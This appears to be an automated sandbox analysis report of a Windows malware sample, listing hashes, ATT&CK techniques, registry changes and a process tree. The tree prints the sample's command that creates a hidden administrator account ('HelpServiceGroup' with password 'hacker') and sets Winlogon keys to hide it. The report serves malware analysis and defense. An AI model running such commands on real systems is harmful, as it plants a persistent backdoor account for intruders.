791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

Analysis

max time kernel
7s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
19/09/2022, 11:34

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General

Target

791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Size

196KB
MD5

9a9bc53a852924cc6a0b2773f4924515
SHA1

99f6ed6b5d066fc675262054d379db6d1e92d84d
SHA256

791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f
SHA512

1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19
SSDEEP

6144:CGHx7NOZxelAjG503Kx7+RMvC1QNXs4qAldlU6DyxD6QPB4d:lNOZclAjG503Kx7+RMvC1QZs4qAldlU6

Score

9^/10

persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\services.exe	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
File opened for modification	C:\Windows\SysWOW64\drivers\services.exe	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
File created	C:\Windows\SysWOW64\drivers\services.exe	services.exe

Executes dropped EXE 2 IoCs

pid	Process
1944	services.exe
1360	services.exe

Loads dropped DLL 4 IoCs

pid	Process
2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
1944	services.exe
1944	services.exe

Modifies WinLogon 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\HelpServiceGroup = "0"	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\	services.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\HelpServiceGroup = "0"	services.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe

Runs net.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
1944	services.exe
1944	services.exe
1944	services.exe
1360	services.exe
1360	services.exe
1360	services.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 2040	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	28
PID 2000 wrote to memory of 2040	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	28
PID 2000 wrote to memory of 2040	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	28
PID 2000 wrote to memory of 2040	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	28
PID 2040 wrote to memory of 1988	2040	cmd.exe	30
PID 2040 wrote to memory of 1988	2040	cmd.exe	30
PID 2040 wrote to memory of 1988	2040	cmd.exe	30
PID 2040 wrote to memory of 1988	2040	cmd.exe	30
PID 1988 wrote to memory of 956	1988	net.exe	31
PID 1988 wrote to memory of 956	1988	net.exe	31
PID 1988 wrote to memory of 956	1988	net.exe	31
PID 1988 wrote to memory of 956	1988	net.exe	31
PID 2000 wrote to memory of 1944	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	32
PID 2000 wrote to memory of 1944	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	32
PID 2000 wrote to memory of 1944	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	32
PID 2000 wrote to memory of 1944	2000	791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe	32
PID 1944 wrote to memory of 800	1944	services.exe	33
PID 1944 wrote to memory of 800	1944	services.exe	33
PID 1944 wrote to memory of 800	1944	services.exe	33
PID 1944 wrote to memory of 800	1944	services.exe	33
PID 1944 wrote to memory of 1360	1944	services.exe	35
PID 1944 wrote to memory of 1360	1944	services.exe	35
PID 1944 wrote to memory of 1360	1944	services.exe	35
PID 1944 wrote to memory of 1360	1944	services.exe	35
PID 800 wrote to memory of 1796	800	cmd.exe	36
PID 800 wrote to memory of 1796	800	cmd.exe	36
PID 800 wrote to memory of 1796	800	cmd.exe	36
PID 800 wrote to memory of 1796	800	cmd.exe	36
PID 1796 wrote to memory of 1216	1796	net.exe	37
PID 1796 wrote to memory of 1216	1796	net.exe	37
PID 1796 wrote to memory of 1216	1796	net.exe	37
PID 1796 wrote to memory of 1216	1796	net.exe	37
PID 1360 wrote to memory of 1660	1360	services.exe	38
PID 1360 wrote to memory of 1660	1360	services.exe	38
PID 1360 wrote to memory of 1660	1360	services.exe	38
PID 1360 wrote to memory of 1660	1360	services.exe	38
PID 2040 wrote to memory of 1732	2040	cmd.exe	40
PID 2040 wrote to memory of 1732	2040	cmd.exe	40
PID 2040 wrote to memory of 1732	2040	cmd.exe	40
PID 2040 wrote to memory of 1732	2040	cmd.exe	40
PID 1660 wrote to memory of 1212	1660	cmd.exe	42
PID 1660 wrote to memory of 1212	1660	cmd.exe	42
PID 1660 wrote to memory of 1212	1660	cmd.exe	42
PID 1660 wrote to memory of 1212	1660	cmd.exe	42
PID 1732 wrote to memory of 1540	1732	net.exe	41
PID 1732 wrote to memory of 1540	1732	net.exe	41
PID 1732 wrote to memory of 1540	1732	net.exe	41
PID 1732 wrote to memory of 1540	1732	net.exe	41
PID 1212 wrote to memory of 1520	1212	net.exe	43
PID 1212 wrote to memory of 1520	1212	net.exe	43
PID 1212 wrote to memory of 1520	1212	net.exe	43
PID 1212 wrote to memory of 1520	1212	net.exe	43
PID 2040 wrote to memory of 836	2040	cmd.exe	44
PID 2040 wrote to memory of 836	2040	cmd.exe	44
PID 2040 wrote to memory of 836	2040	cmd.exe	44
PID 2040 wrote to memory of 836	2040	cmd.exe	44
PID 836 wrote to memory of 824	836	net.exe	45
PID 836 wrote to memory of 824	836	net.exe	45
PID 836 wrote to memory of 824	836	net.exe	45
PID 836 wrote to memory of 824	836	net.exe	45
PID 2040 wrote to memory of 564	2040	cmd.exe	46
PID 2040 wrote to memory of 564	2040	cmd.exe	46
PID 2040 wrote to memory of 564	2040	cmd.exe	46
PID 2040 wrote to memory of 564	2040	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe
"C:\Users\Admin\AppData\Local\Temp\791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f.exe"
1⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Modifies WinLogon
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\SysWOW64\net.exe
    net user HelpServiceGroup hacker /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user HelpServiceGroup hacker /add
      4⤵
      PID:956
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators HelpServiceGroup /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators HelpServiceGroup /add
      4⤵
      PID:1540
- - C:\Windows\SysWOW64\net.exe
    net localgroup users HelpServiceGroup /delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup users HelpServiceGroup /delete
      4⤵
      PID:824
- - C:\Windows\SysWOW64\net.exe
    net user HelpServiceGroup /expires:never /passwordchg:no
    3⤵
    PID:564
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user HelpServiceGroup /expires:never /passwordchg:no
      4⤵
      PID:1404
- C:\Windows\SysWOW64\drivers\services.exe
  C:\Windows\system32\drivers\services.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Modifies WinLogon
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\SysWOW64\net.exe
      net user HelpServiceGroup hacker /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpServiceGroup hacker /add
        5⤵
        
        PID:1216
- - C:\Windows\SysWOW64\drivers\services.exe
    C:\Windows\system32\drivers\services.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net user HelpServiceGroup hacker /add && net localgroup administrators HelpServiceGroup /add && net localgroup users HelpServiceGroup /delete && net user HelpServiceGroup /expires:never /passwordchg:no
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1660
    - - C:\Windows\SysWOW64\net.exe
        
        net user HelpServiceGroup hacker /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1212
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpServiceGroup hacker /add
        6⤵
        
        PID:1520

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
C:\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
\Windows\SysWOW64\drivers\services.exe

Filesize
196KB

MD5
9a9bc53a852924cc6a0b2773f4924515

SHA1
99f6ed6b5d066fc675262054d379db6d1e92d84d

SHA256
791340a65a6bd8f73fb6a02edb244b45fb8719c5c872f1ea45af262ac78e1a7f

SHA512
1d161a1d4f4ad9430a65e5bdb89846b9154366a4aecffffc354e18904de9af89e4577d2b71ce21dbe3238ee0c104325989aefec65cf915d76e4a0bd9f9432d19

Download Submit
memory/2000-56-0x0000000076DC1000-0x0000000076DC3000-memory.dmp

Filesize
8KB

Download